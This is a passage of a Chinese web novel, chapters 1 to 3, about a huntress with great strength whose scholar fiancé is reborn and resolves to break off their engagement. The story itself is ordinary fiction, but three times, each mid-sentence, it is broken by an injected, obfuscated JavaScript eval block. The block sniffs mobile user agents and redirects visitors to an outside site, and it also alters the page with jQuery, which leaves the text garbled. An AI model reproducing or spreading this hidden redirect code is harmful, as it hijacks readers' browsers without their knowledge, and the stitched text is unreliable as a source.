《科举文男主的糟糠妻选择退婚》 1. 第 1 章 时值六月,天气不冷不热。 新朝初建,百废待兴,圣上看重读书人,特把院试日子改在了六月。 算着时间,未婚夫也该从府城回来了,商秋有些激动,握弓的手格外有力。 她眼睛眯起,一放一抬再一放,两道箭矢几乎是前后脚射了出去,一左一右,准确射中野猪的眼睛。 野猪疼得翻滚,周围碗口粗的树木俱被撞断,地动山摇,十分可怕。 商秋却神色未变,一个起跃跳上了树,又是刷刷几箭,几乎将野猪射成刺猬。 如此耗了一波,见野猪翻滚的动静小了,她才跳下树梢,百米瞬息跨过,骑到了野猪身上,拳头雨点般砸落。 不管野猪怎么翻滚挣扎,都牢牢黏住,直至它彻底倒下,不动了。 商秋翻身站起,扭了扭手腕。 为不影响射箭的准头,她手上只裹了薄薄一层细布,而野猪皮糙肉厚,眼见有血渗了出来,她却很习惯,眉头都不动一下,径直拔下一枚箭矢,果然见特制箭头只刺穿些许,不禁摇了摇头。 这时,其他随商秋一并上山打猎的村人才跑出来,纷纷夸奖:“商秋你真厉害,都说一猪二熊三老虎,你居然独自猎了一头野猪!” “上回还没这样,商秋你的力气又涨了吧!” …… 众人满脸艳羡,一个面嫩些的年轻人忍不住说:“这野猪真大,也不知我什么时候能猎一头。” “可不敢跟她学!人家祖传的天生神力,你呀,就多练练准头吧。” 立马就有老人告诫他。 否则他们哪至于厚着脸皮求一个才十八岁的女娃带着上山狩猎,实在是跟着她,不仅收获多,还安全啊。 “小秋,还猎吗?”一个上了年纪的壮大叔慈爱的问。 商秋摇了摇头,离家快有七八天,她有些想爹,舅舅舅母,还有未婚夫了。 “那就下山。”壮大叔赵铁柱毫不犹豫道,又瞪着眼睛使唤年轻人,“还愣着干嘛?赶紧扯了藤条把野猪绑上!” “好嘞。”众人纷纷上前帮忙。 现在不干活就别指望商秋吃肉,他们喝汤了。 做人,要有眼力劲。 野猪很快绑好,赵铁柱又领着众人去隐秘山洞拖上之前打到的猎物,快速下山。 临近山脚,商秋步子顿了顿,走到几个傍大腰圆的阿婶们身边。 阿婶心细,一见便知是顾及未来的秀才公夫婿,调侃几句小秋知道害羞了,就把她围在中间。 石头村近山,早年遭遇过野狼野猪成群结队下山的惨事,村中无论男女都会使两把斧。 不过如商秋这样身具神力的年轻姑娘,却只有她一个。 没办法,天生的,别人比不得。 才到山脚,已经有小孩见着,飞一般跑回村子喊人。 “阿爹狩猎回来了。” “阿娘,小商姐他们回来了。” 没一会儿,石头村大半人都赶了过来,围着抬着猎物的人问个不停,立刻就有人说了商秋独自猎了一头野猪的事。 “这次若不是她带路,我们可没有这么多收获。” “是啊,也不敢进这么深。” “难怪商老爹这几次都没跟着上山,原来是知道了自家闺女的本事。” “唉,可惜了。”一个婶子瞥着走在前头的商秋,忽然叹了口气。 周围几人都是一静,知道她为什么这么说。 他们祖上不积德,养不出这么厉害的闺女,但做不了女儿,可以做儿媳呀。 然而商秋已经定亲了。 定的是村里顾秀才家的儿子顾永昌。 这顾秀才原不是石头村的人,前些年战乱,才躲进这个穷乡僻壤避难,因他有文化,村里人倒不排斥,他也投桃报李,在村中开了一家私塾。 顾永昌十二岁那年他去世了,临终前给儿子定下了商猎户家的独女,也就是商秋。 顾永昌很争气,十八岁就考过了童生,县试和府试都是案首,又过两年有了把握,便去考院试。 他们家早放出风声,待有了秀才功名,就风风光光娶商秋进门。 “说起来,院试放榜也就在这几天了吧。” “这顾家,眼看着就要双喜临门了。” 洞房花烛夜,金榜题名时可不就是双喜? “顾童生打小聪明,白白净净,一看就和村里那些混小子不一样,商老爹有眼光,早早给自家女儿定下了。” 赵铁柱一听这话就不乐意了。 相比顾秀才这个外来户,自然是亲如子侄的商秋更得他欢喜:“要我说,还是顾秀才有远见,这十里八乡哪家姑娘比得上小秋,他一眼看中,就给搂到了自己家。” 又看向和商秋差不多年岁的小子,颇为恨铁不成钢,“你们啊,真不争气。” 众人都有些讪讪。 商秋打小就出挑,才三岁就能把欺负她的十岁大孩子撂倒在地。 比她大一轮的,被她收拾怕了,跟她差不多以及小一轮的看她只有崇拜,日常小商姐小商姐的叫着。 当媳妇看?不可能。 等他们晓了事,眼看着商家与顾家定上亲后,三五不时就往顾家送礼,那一身素净的秀才娘子连银钗都带上了,也未尝不后悔。 有人没忍住,就说:“这顾童生成了秀才,没准就想娶一个读书识字的娘子。” 他们也不是没有机会。 立刻就被怼了回来:“顾童生这样年轻,待考中秀才后肯定还要再往上考,科举多能花钱,光是买的书就够在城里置一个宅子,商家有钱,商秋能赚钱,他们哪舍得?” “瞎说,商秋和顾童生感情好着呢。” “是啊,我之前还见着顾童生教商秋认字,商秋虽出生猎户家,却也是读书明理的小娘子,不比城里人差。” 顾忌着前面的商秋,说话的人刻意压低声音,但商秋一贯耳聪目明。 听到说两人相配,她嘴角扬了扬,目光不自觉在迎过来的人群中寻找,没有见到未婚夫,有些奇怪。 未婚夫虽知晓她天生神力,也不像伯母一样对她上山打猎不太高兴,但他一贯担心她,听到小孩嚷嚷的动静,知道他们下山了,就会第一时间过来看她,跟她说话,见她受伤不重才放心。 而她,每回都会给未婚夫塞一些猎物补身。 毕竟读书清苦,相比村里汉子,未婚夫委实太瘦了。 难道是有事在府城耽搁了? 虽这么想,商秋却对铁柱叔交代几句,快速跑到了顾家。 顾家来得晚,宅基地位置就偏,房子也小,当然,他们人口少,尽够了。 顾家旁边就是私塾,是石头村的人一起建的,不过顾永昌前些日子去府城考院试,把私塾关了,这会冷清得很。 商秋刚到近前,就听顾母叹气:“秀云啊,你哥哥这次从府城回来可是遭了大罪,都两三天了,还浑浑噩噩的睡不醒,大夫也说要养着。” 商秋心中一紧,快速瞥一眼周围,直接从后院翻进墙内。 这里清静,走两步就是书房,她走过去敲门,谁知门嘎吱一声开了。 商秋不自觉扬起笑容,走了进去,这是他们的约定。 顾母守礼,从不进儿子的书房,以前这道门都是锁着的,直到他开始教她读书习字。 顾永昌——她的未婚夫,真的很好。 似是听到动静,坐在椅子上闭目养神的顾永昌蓦地偏头,眼睛瞪大。 “顾大哥。”商秋看到他眼下都是青灰色,有些担忧。 顾永昌却像受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716730|173748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到惊吓一般,猛的起身往后退,身下椅子被他这么一带,就要倾倒,商秋连忙上前扶住。 她觉得他的眼神怪怪的:“顾大哥,你咋了?” “商秋,你怎么……”这么年轻?后面四个字咽回喉咙,顾永昌站稳身体,有些急切的推开商秋,又退后几步,闭了闭眼睛再睁开,看看商秋,看看周围,最后看向自己,眉头皱了起来。 他伸出双手,摊开,握紧,有些神经质的重复着这个动作。 商秋知道读书人都宝贝自己的手,但以前顾永昌没这个习惯,她不禁问:“顾大哥,你是做噩梦了吗?” 顾永昌终于回过神来,勉强的笑了笑,这时外面传来顾母的声音:“昌哥儿,商秋打猎回来了,你可要去见见?” 商秋有些意外。 她和顾永昌已经过了小定,但顾母自诩读书人家,讲究规矩,便不肯似村人随意,叫两人在婚前培养感情。 商秋不愿被未来婆母看低,就只偷偷和未婚夫见面。 如此破例,看来是真担心了,商秋的眉头也皱了起来。 这几日她在山上,不知未婚夫病了,还这样严重。 顾永昌声音有些哑:“不必,娘,我正在读书,不得闲。” “好,那娘不耽误你,你顾着身体,多休息。” 待脚步声远去,顾永昌便对商秋说:“我做了个噩梦,想一个人缓缓。” “顾大哥,你……” 不等商秋关心,顾永昌却别过头,推开门走了出去。 商秋不明所以。 到底是什么噩梦,为什么不能跟她说? 他以前可是很喜欢跟她说话的。 商秋第一次见顾永昌是在五岁。 商老爹一个猎户,原是住在山里的,后来娶了妻就在近山的位置建了房。 某日她下山来找表哥表姐玩,路上看到一群大孩子欺负一个小孩。 那小孩就是刚随父母搬过来的顾永昌。 商秋喜欢长得好看的,见小孩白白净净,和村里吃鼻涕的邋遢娃一点都不一样,当下正义感上头,冲过去把人护在身后,和那些大孩子打架。 她才三岁就敢招惹十岁的,更别提随着年龄增长,力气越大,虽是一人打一群,但也赢了,揍的那些人哭爹喊娘。 小孩抬头看她,满眼崇拜,仿若看到了天神,令小商秋的虚荣心得到了极大的满足。 打那以后,顾永昌就很喜欢跟她玩。 商秋带着他满山疯跑,有她护着,自然没人敢欺负,不过他只喜欢和商秋玩。 商秋觉得他也跟自己一样嫌弃那些邋遢鬼用尿和泥。 顾秀才同样喜欢喜欢商秋,在村里开了私塾后见她趴墙听,也不赶她,还避着人指点她,顾母虽然有点不高兴,但还是让顾永昌给她送顾秀才的笔墨,教她念书。 后来顾秀才身体越来越差,虽然商家与村里凑了钱给他买药,还是没得治,临终前定下了商秋和顾永昌的婚事,两人的来往就更加名正言顺。 商老爹把顾家当亲家处,想着他们孤儿寡母日子不好过,就时不时送些东西作礼,也不计较他家回两把野菜。 念着顾永昌聪明,会读书,这方面开销全给出了。 于是,顾家的日子竟比顾秀才在时还好些。 顾永昌记恩,便早早立下誓言,要考中秀才来娶她,正好她爹也不想太早把她嫁出去——他原是想招赘的。 不过……商秋眉头皱了皱。 因十二岁就没了父亲,又无族人依靠,却有寡母和妹妹要照顾,未婚夫一个半大孩子扛起了家,有些话他不能对顾母说,也不能对妹妹说,但商秋却是不一样的。 有的没的,能说的不能说的,他都会和商秋倾诉。 所以,他今天是怎么了? 2. 第 2 章 虽然未婚夫有些奇怪,但商秋想到顾母的话,到底担心更多。 她这次除了野猪,还猎了一头鹿,都说鹿肉滋补,正合适。 到家后,一头野猪一头鹿还有些许多野鸡兔子堆在院里,阿婶们提着篮子指指点点,有说这只兔子更肥要这只。 商老爹便揪了这只,上称算钱,见商秋回来也没空招呼。 倒是一旁的赵铁柱说:“这是你的份额,过来看看对不对。” 商秋道:“铁柱叔,我信你。” 她径直走向那头鹿,拿了斧头砍下一条鹿腿,就匆匆出门。 旁边等着买肉的村人见了不禁有些酸:“又给顾家送肉啊。” 还是鹿肉这样的金贵东西,他以为商家会选择卖掉。 商老爹笑道:“昌哥儿科举辛苦,听亲家母说在考场熬得狠了,回家睡了许久,这鹿肉蛮好给他。” 赵铁柱眉头皱起,心里觉得顾家不太厚道。 商老爹打了猎物,一贯会便宜几文卖给村里人,顾母便指挥顾秀云过来卖惨,拿几块绣的不好的帕子挑肥拣瘦。 如今越发过分,这是觉得准得秀才,了不得,竟要商秋主动送去? 他家是得了里子又有面,但女方岂不成了倒贴? 没有这样办事的。 赵铁柱觉得得跟商秋舅舅说一下。 * 商秋提着鹿肉到了顾家,就听到顾秀云催促顾母:“娘,我听说商秋猎了一整头鹿,我们快些过去,鹿肉稀罕,可别叫他们送进城了。” 顾母却老神在在:“放心吧,我已经跟商猎户暗示了,他会主动留的。”一副吃定的口吻。 商秋脸色微沉,她知道顾母不太喜欢她,嫌弃她力气大粗鄙,可若不是她力气大,顾家能这般时不时吃上肉? 不过她到底是未婚夫的母亲,这天底下的婆媳就没有和谐的,商秋只当没听到,过去敲门。 门内一静,过了会儿才是顾秀云开门,见到商秋手里提着的篮子面色一喜,伸手就要去接。 商秋绕过她走了进去。 顾秀云有些不高兴,但想着鹿肉的滋味,到底忍了。 “顾伯母。”商秋对着矜持坐在椅子上的顾母点了点头,“听我爹说顾大哥科举辛苦,我便带了些鹿肉。” 顾母笑笑,眼神瞥了篮子好几下,却不动弹,只说:“你给秀云吧,替我谢谢你爹。” 顾秀云得意的昂起头要来接。 商秋却把篮子收了回去,慢慢道:“伯母,还有个事,之前你说顾大哥不在,书房锁了,现在他回来了,可以把伯父那本字帖借我吗?”她本没打算借这个的。 顾母表情一僵。 商秋仿佛没有察觉到她的不悦,目光沉静逼视,升米恩斗米仇的道理她懂。 她商家的东西从不白给。 最终商秋带着字帖出了门,她很珍惜的藏在怀里。 只是想到未婚夫明明在书房,这顾秀才留下的字体也必是得他同意才能拿来,他却没有出来见她,商秋面上的笑容就淡了。 回到家,看着还在挑拣野猪肉的叔婶,商秋打起精神,拿出字帖。 赵铁柱这才放心,他就知道商秋有分寸。 字帖珍贵,拿些鹿肉去借,便不会有人挑嘴。 村里人满意的提着篮子走了,商秋便收拾起来,这剩下的肉都要送去城里卖掉。 鹿肉价贵,村里没人舍得,她给自家也留了一条腿,这时,一道低低的声音传来:“商叔,您家这鹿肉怎么卖?” 商秋不由得看了过去。 走进来的年轻男人面上带着一个古怪的罩子,遮住下半张脸,但露出来的眉眼很是俊美,瞳孔又大又亮,只额头上有几道疤,破坏了这种美感。 他叫陆离。 商秋两个月前上山采药,发现山崖下昏迷的他,见人身中数刀却还有气,就紧急给他止血,带回她爹以前在山里住的旧屋。 本是打算请大夫的,谁知她爹看过,却说都是皮外伤,好好养着就是。 商秋觉得她爹表情怪怪的,像是认识对方,可细问又摇头,不肯说。 把打猎的事推给她,自己一天往山上跑几趟照顾。 既然不是来历不明的匪徒,商秋就不担心了。 不过她虽救了人,却还是第一次见到对方睁着眼睛的模样,不由得问:“陆离,你伤好了吗?” 陆理点点头,正色道:“已经不疼了,只是还需仔细养着,多谢商姑娘救我。” 商秋摆了摆手,救人一命胜造七级浮屠:“你没事就好。” 想到当时的情况,他整个人几乎成了血葫芦,商秋扒了他衣服给他上药,发现他身上的刀伤几乎都是冲着要害去的。 若不是比较浅,血早就流光了,根本等不到自己来。 商秋觉得这人有些可怜。 也不知道谁这么恨他,捅了那么多刀不说,还把他逼下悬崖,生怕他死不了。 说顾永昌清瘦,其实他更甚。 不过——商秋打量着现在的陆离,欣慰的想,自家那么多好饭好菜没白喂。 “你要多少鹿肉?我给你切。”商秋说了价格。 之前看他衣裳华贵,虽以报恩把玉佩硬塞给了自己爹,但还有金叶子,商秋便不和他客气。 陆理要了条鹿腿。 商秋切给他,想了想,又去把野猪的猪心刨了出来:“这个送你,拿去补补。” 至于野猪猪肚,那是难得的药材,她舍不得。 陆理知道这是好东西,摆手拒绝。 商秋正要硬塞,却见他说:“不如将猪肠这些下水送给我,我还挺喜欢这一口的。” 商秋:“……” 她受到了惊吓! 后退两步,一脸难以言喻:“你居然喜欢这个?” 猪肠子虽然也是荤腥,但味道很重,连猪心都比不得,就更别提正经的大肥肉了。 若在肉摊上价格要低一等,多是穷苦人家在买。 陆理似想起什么,眼神微妙:“别人不会处理,所以不好吃,但我会,这可是……发家的门路。” 他含糊了些字,商秋没听清,她也不懂这腥臭的肠子跟发家有什么关系,但对方喜欢,她便给了。 待陆理离开,商秋看着没了两个腿的鹿,自家肯定要留一些,她爹身体也不好,还有舅舅家,索性就不卖了。 这种好东西,商秋断没有自家省着忍着也要卖掉换钱的觉悟。 她力气这么大,固然有她爹的原因,也未尝不是家里天天不离肉。 这吃了肉,就长力气。 倒是野猪还剩大半头,以及一些野鸡兔子,她先去舅舅家送了鹿肉:“阿爹,咱自家也煮一些,吃个新鲜。” “放心吧,不会亏了你的嘴。” 商秋笑了笑,把东西搬上驴车,去了县里。 她爹多年的老猎户了,自有一些门路,她便不必跟村里人一样吆喝卖肉,直接过去问。 在商秋一家家敲门时,顾永昌正把自己反锁在书房发呆。 刚才顾母来要字帖,言语间对商秋有些不满,他拿了字帖一看,直接给了出去。 他爹祖上有些来历,收藏的字帖被当初的他视若珍宝,可在现在的他看来,粗糙的不配进他的库房。 顾永昌将母亲打发出去,脑子乱糟糟的,好半晌才理清思绪,确定自己重生了,回到了他二十岁刚过院试的时候。 想他一个失怙的半大少年,一路摸爬滚打,年仅四十就成为了正五品京官,何其艰难? 没想到喝个小酒的功夫,居然回到了年轻的时候。 看着眼前简陋的书房,架子上摆的少的可怜的书本,顾永昌眼中闪过嫌弃。 但很快,他双手握拳,感受着自己年轻的身体,简直想仰天大笑。 上天怜悯,让他有了重来一次的机会,他要做什么,他能做什么? 此时他连秀才都不是,只是一个小小的童生。 但也意味着他还没有和商秋大婚,他们才过了小定。 上辈子院试放榜,他又得了案首,依约娶了商秋,婚宴时县里大户柳家过来庆贺,贺礼竟是府城的一个宅子。 原来之前柳家少爷急病,是商秋在山上采的人参救回来的。 婚后一家人搬去府城,他拜入白鹿书院,得山长看中,收做徒弟,精心教导,等他下场,竟一口气过了乡试、会试、殿试! 最终站在太和殿上,得天子赐二甲进士出身,之后一路晋升,年仅四十就做到了正五品礼部郎中,在繁华的上京置下宅院,穿金佩玉,往来者皆是书香门第。 那样的生活,又岂是窝在石头村一个小小的童生敢想的? 可他依旧不快乐,归根结底就是因为商秋。 石头村闭塞,村人愚昧,若非商父一力支持,他爹的私塾根本开不起来,因为商家,他们才顺利在石头村扎根。 之后他爹去世,也是商父照顾,他才能读书科举。 他与商秋的婚事不仅有他爹的临终遗命,更有这滴水之恩,不能也不敢相忘。 所以,即便他日后再如何风光,也只能守着商秋一个。 多少人暗中笑话他惧内。 这辈子,顾永昌想,他绝不能再娶商秋。 不能被这微末时的些许恩情捆住。 没有了商秋这糟糠之妻,他可以过得更好。 顾永昌想起了与自己同一榜的进士,得尚书千金榜下捉婿,明明名次在自己之后,却因岳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716731|173748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家帮扶,官位升的比他快多了,在他捉襟见肘时,对方穿狐皮貂裘,百味楼一百两一桌的席面说请就请……那才是真正人上人的生活。 还有被商秋救下的太子。 想到太子,顾永昌的手隐隐发抖,他这双手被太子打断过,就因为他误把太子认成商秋的奸夫,在雨夜赶了出去。 也因为太子撑腰,他连个歌姬都不敢看。 顾永昌深深吸气,他当然不会怪太子,这一切都是商秋的错。 若商秋提早告诉他太子的身份…… 呵呵,这一世,他会娶尚书千金,会提前救下太子,会爬得更高,走得更顺。 他与商秋,注定一个天上,一个地下。 “昌哥儿,晚饭做好了,你要现在出来吃,还是我给你端到书房?”忽然,门外传来顾母温柔的声音。 顾永昌下意识看了眼天空,这才发现已经是傍晚了。 他开门出来,一家三口在堂屋吃饭,顾秀云夹着鹿肉吃得很欢:“娘,哥哥,你们快尝尝,不愧是鹿肉,真好吃。” 顾母见她频频夹肉,脸上的笑容有点勉强:“好吃是好吃,就是太少了,秀云啊,你让着你哥哥。” 顾秀云筷子一顿,转而去夹青菜,不满道:“商秋也真小气,都知道哥哥你科举辛苦,居然才送来一条鹿腿。” “是啊。”顾母想到字帖,终是没忍住说,“为了这条鹿腿还搭上了你爹的宝贝,也不知她什么时候能还回来,万一有所损伤……” “好了娘,你别说了。”顾永昌皱眉打断,“她喜欢就让她借去。” 虽然那本字帖在他看来平平,但毕竟是他爹的遗物,若在商秋手上受损,他就可以借机和商秋争吵,抵了些所谓的恩情。 顾母不知他的打算,闻言越发不满,这商秋还没娶进来呢,儿子就这么向着她了? 顾秀云也不高兴,她爹喜欢商秋,她哥也喜欢商秋,村里人更是吹捧商秋,一个猎户女,没半分女子的娴雅贞静,凭什么? 顾秀云眼珠子一转:“哥,我之前看到一个陌生男人从商家出来,手上拎着篮子,好大一条鹿腿,鹿肉价贵,村里人都不舍得,看他穿着朴素,不会也是商秋送的吧?” 顾永昌眉头微皱,陷入了回忆。 顾秀云拔高声音:“他居然是往山上走的,额头上的疤好吓人,我打听了下,有人看到他住在商秋家以前的老屋里,这一两个月,商叔经常上山,就是去找他,也不知他们什么关系?” 顾秀云也知道商猎户想给商秋招赘的事。 不同于顾母一向能装,顾秀云对商秋的敌意表现得很明显,顾永昌知道她是小孩子性格,觉得爹爹和哥哥被抢走了,以往只劝商秋体谅,不要和妹妹计较,心里其实没把她的挑拨放在心上。 等想起她说的谁,顿时心头一跳。 顾永昌知道这个人,陆离,上辈子商父介绍说是远房亲戚。 但他知道不是,因为几个月后,就会有一行人找过来。 原来陆离竟是卫国公世子,身份显赫极了,他一度很羡慕,但后来就变成了同情。 圣上定鼎京都后,跟随他打天下的一众开国功臣也成了新贵,备受追捧,卫国公就纳了个新投的世家贵女当二房。 两年后陆离母亲去世,这个二房被扶正,成了陆离的继母,生了一对龙凤胎弟妹。 陆离虽被封为世子,但他爹不喜欢他,一度想废了他,改立幼子为世子。 陆离出来平叛,却失踪了,许多老将不满,怀疑是继母为爵位下了狠手,纷纷上折弹劾,卫国公方才派人出来寻找。 这次陆离被找到,回去了。 他在卫国公府大概率过得不好,自请去了边关,几年后战死了。 顾永昌当然不会怕一个死人,但他也知道,不能与陆离为敌,否则就算对方处境再糟糕,碾死现在的自己也跟蚂蚁一样简单。 他告诫母亲和妹妹:“陆离跟商秋没关系,你们别出去乱说,我会生气的。” 顾秀云这下是真委屈了:“哥,你明明说过不会有了商秋就忘了我们的,现在她还没进门,你就这样维护她?” 哪是因为商秋?顾永昌无语,可看到顾母也露出伤心的表情,立刻道:“娘,妹妹,你们永远是我最重要的亲人,谁也越不过。” “真的吗?”顾母眼中含泪。 “真的。”顾永昌承诺,“就算商秋进门,也只是个外人。”更何况他没打算娶她。 这辈子,他会听母亲的话开枝散叶,壮大家族。 顾母见他认真的模样,这才满意。 顾永昌几口将饭吃完:“娘,我去读书了。” 有上一世的经验,他要考一个更好的功名,比如一甲——状元及第。 3. 第 3 章 天色完全暗下来之前,商秋终于把所有猎物卖完。 蜡烛不便宜,越往石头村去,就越黑,商秋坐在驴背上,任它慢慢走着。 天上的月光并不明亮,换个人来已经成了瞎子,但商秋从小吃好喝好,倒不妨碍,她也不怕这黑洞洞的仿佛要把自己吞噬的山林。 只是这样的安静,惹得人的思绪也跟着乱飘。 商秋的爹商猎户是从战场上回来的,那些年世道乱,别说她爹只是个半大小孩,囫囵有个人样的,都被这个王那个王抓走,直接送去战场。 能活下来是运气,活不下来就是命。 她爹是有运又有命,但其他亲人都没了。 她娘这边,战乱时躲进山里,山上缺衣少食,要跟野兽抢地盘,也没个正经大夫,她娘身体不好,外公外婆本是不打算让她嫁人的,谁知她娘看中了她爹,两人成了。 她爹就在山下建了房,过起了老婆孩子热炕头的日子。 然而商秋两岁时,她娘一病不起,没了,商老爹没力气悲伤,被身体同样不咋好的小商秋折腾的够呛。 不想重蹈媳妇的覆辙,商老爹养孩子格外注意,一进补,药材跟肉从不间断,二训练,打熬身体,不该姑娘家学的全教了。 他从不怕商秋调皮,她跟个猴似的窜上天,商老爹都能笑眯眯的给她递梯子。 也不知道是商老爹基因强大,还是那些年的肉和药材没白吃,十八岁的商秋已经完全看不出早产的痕迹,壮的跟牛似的。 商秋也很珍贵自己,纵然知道未来婆母不喜她上山打猎的粗野作风,觉得没个姑娘样,也从未改过。 她跟她爹学武,跟大舅舅学医。 只她大舅舅也没个师承,这些年全靠自己摸索和收集市面上能找到的医书,给人治病就是个半吊子,倒是药材认了不少。 所以商秋除了打猎赚钱,还有一部分积蓄是卖药材所得。 村里人不知道,商秋其实是个小富婆呢,早就在县里置了宅子和铺子,都租出去得钱,但商秋并不满足。 战场无情,她爹一身的旧伤,每逢阴雨季疼得恨不能满地打滚,她就想多多赚钱,给她爹找个厉害的大夫。 回到家商老爹已经睡了,商秋轻手轻脚的洗漱,很快睡着。 次日醒来发现舅母陈春喜也在,正打量着木头很高兴:“不错,这木头好,还带着香味,能防虫,就是有些晚了,现下找木匠也不知来不来得及。” 商秋也很欢喜,这可是她寻遍深山才找到的几棵香木,为的就是给自己打嫁妆的箱柜。 她平时过得糙,烂木板破草屋都敢睡,但成了婚……这就是可以用一辈子的嫁妆,是小娘子的脸面,她听县里人说好木头用旧了,刷一遍漆照旧光鲜,竟能传三代,便也讲究起来。 她道:“舅母放心,我已经跟县里的曹木匠说好了。” 陈春喜不禁点头:“是了,这样的好木头必须往县里送,免得糟蹋了。” “对了,你的嫁妆备的如何了?我给你点点,看看还缺多少。” 商秋便领着舅母去了库房,陈春喜拿出了一个单子。 一边点,一边在上面画勾。 商秋道:“在绣庄订的嫁衣也是今天的期,待我把木头送过去,便去拿。” “我跟你同去。”陈春喜很满意,“你办事比你爹靠谱。” 商老爹讪讪地笑,不敢说话。 自媳妇去后,他心里自责,总忍不住乱想,在岳家面前天然矮了一头。 商秋笑笑,哪个小娘子不希望自己成婚尽善尽美?她当然是事事周到处处考虑。 来回几趟,把木头都送去了,吃过午饭,商秋套了驴车接上舅母,一路来到村口,停下。 陈春喜并不催她。 驴子贵,商秋家的驴车是整个石头村独一辆,偏村里离县城又远,所以每逢空车出门,总要等一等。 既是与村人方便,也赚几个铜板。 陈春喜很赞同,不是为那几个钱,只是商家人少户小,这好人缘就很重要。 驴车一停,不用商秋敲锣打鼓,村里小孩一嚷嚷,没多会儿,要进城的村人就挎着篮子来了。 昨日狩猎大丰收,有人家里分的肉吃不完,已经赶着送去卖了,这得了钱,就想着去县里置些东西,虽然镇上更近,但有些县里却更便宜。 赵铁柱也提着两个大包,却不是肉,他家人多,还有一手独到的处理皮毛的技术,便不似商秋等人每每囫囵着卖了。 当然,商秋遇到好皮子也会交给他家,出一些加工费,再卖去县中大户。 商秋略等了等,顾秀云来了,身边跟着顾母,顾永昌却不在,她有些失望。 顾母不经常出门,顾秀云却爱新鲜,以往都是顾永昌陪着,他自己也抄些书送去书铺,算作家用。 这是他们小定后难得可以光明正大见面的机会,顾永昌从不错过。 他怎会不在? 商秋跟她们打了招呼:“顾伯母,秀云妹妹,就你们吗?顾大哥呢?” 顾秀云暗笑商秋真不矜持,顾母却和善道:“昌哥儿还在温习功课,不得闲,小秋啊,你刚狩猎回来,怎么不在家歇歇?” 当着外人的面,她一向会做人。 商秋说:“家里事多,待忙过这阵子再歇。” 昨日猎物卖了不少钱,她本打算和未婚夫一起去书铺,给他挑些质地上乘的白麻纸,因为家里条件有限,他练字都是用便宜的竹纸。 不过对方没去,那就自己挑吧。 到时送给未婚夫,他一定很高兴。 “虽如此,但你可要顾着身体,别累着了。”顾母温温柔柔道,上了驴车,又跟车内的陈春喜说话。 妥帖又和气,让人忍不住感叹真不愧是秀才娘子,就是和村里泼妇不一样。 商秋有一个这么和善的婆婆,等嫁进门,日子定然好过。 顾秀云却不如她娘,低着头撇了撇嘴,呵呵,嫁妆再多也是一个外人。 见没人再来,商秋也没再等,拉了缰绳,驴子哒哒的往前走。 她有些心疼的摸了摸,牲口素来都是大件,这头驴连带车花了她快二十两,平时爱惜着呢,今天拖木头跑了好几趟,晚上一定要喂些好料。 忽然,商秋看到一个中年女人正往回走,背上背着筐,身上的衣服都汗湿了。 商秋笑着跟她打招呼:“钟婶,你又去镇上了?” 女人用手帕擦了擦脸:“是啊,今天不忙,干脆去镇上找点事做。” 明明昨天才打猎回来。 商秋想了想说:“钟婶,这天热了,你竹席做得好,我订一张。” “好勒。”钟婶眼睛一亮,赶紧说了个数,“是要这个尺寸的吧?我给你成本价,这两天做好。” “钟婶我不急,你慢慢来。”商秋说。 钟家的情况和顾家有点像,钟婶也没了丈夫,唯一的儿子身体弱,下不得地,她便把他送来私塾读书,不同于顾家有商家帮扶,他读书的笔墨都是钟婶一点点攒的。 钟婶编竹席柳筐,上山打猎,夏天卖凉茶,冬天卖肉汤,她家地少,总是很快干完,却还要给人做短工,真的是一个铁娘子般的人。 又较真,从不占人便宜。 旁人帮了多少,总要还回来。 商秋觉得成本价蛮好,她也喜欢算得清清楚楚。 驴车继续往前。 离镇上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716732|173748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有一段路时,商秋又看到了熟人。 是陆离,他还戴着那个蒙了半边脸的罩子,头发都梳起来,用红绳绑着,插了一根木钗。 像城里书生的打扮,又怪怪的,不是很端正,束发松松垮垮,没有抹头油,蓬蓬的。 他背上也背着个框,特别大。 商秋看得皱眉。 许是第一面身中数刀留下的印象,她总觉得对方很虚弱,要好好养着。 不过他也确实弱,虽然现在的身板不似之前皮包骨了,但还是瘦削,露出的额头白的没有一丝血色。 商秋真怕他挺不住,倒在路旁,拉了拉缰绳,喊:“陆离,你是去镇上吗?我载你一程。” 陆理愣了一下,说:“我去县里。” 商秋嘴角抽了抽,没有反驳你这破身体还敢走这么长的路,只道:“我也去,你上来吧,车里还有位置。” 陆理慢吞吞的走过来:“多谢,” 掀开帘子准备进去,不知怎地,又放下,“车里闷,我坐这儿吧。” “哦。”商秋想到他那枚一看就很值钱的玉佩与细皮嫩肉娇贵得不行的样子,懂了,这是嫌弃车里味道大。 她往旁边挪了挪,给陆理让出位置。 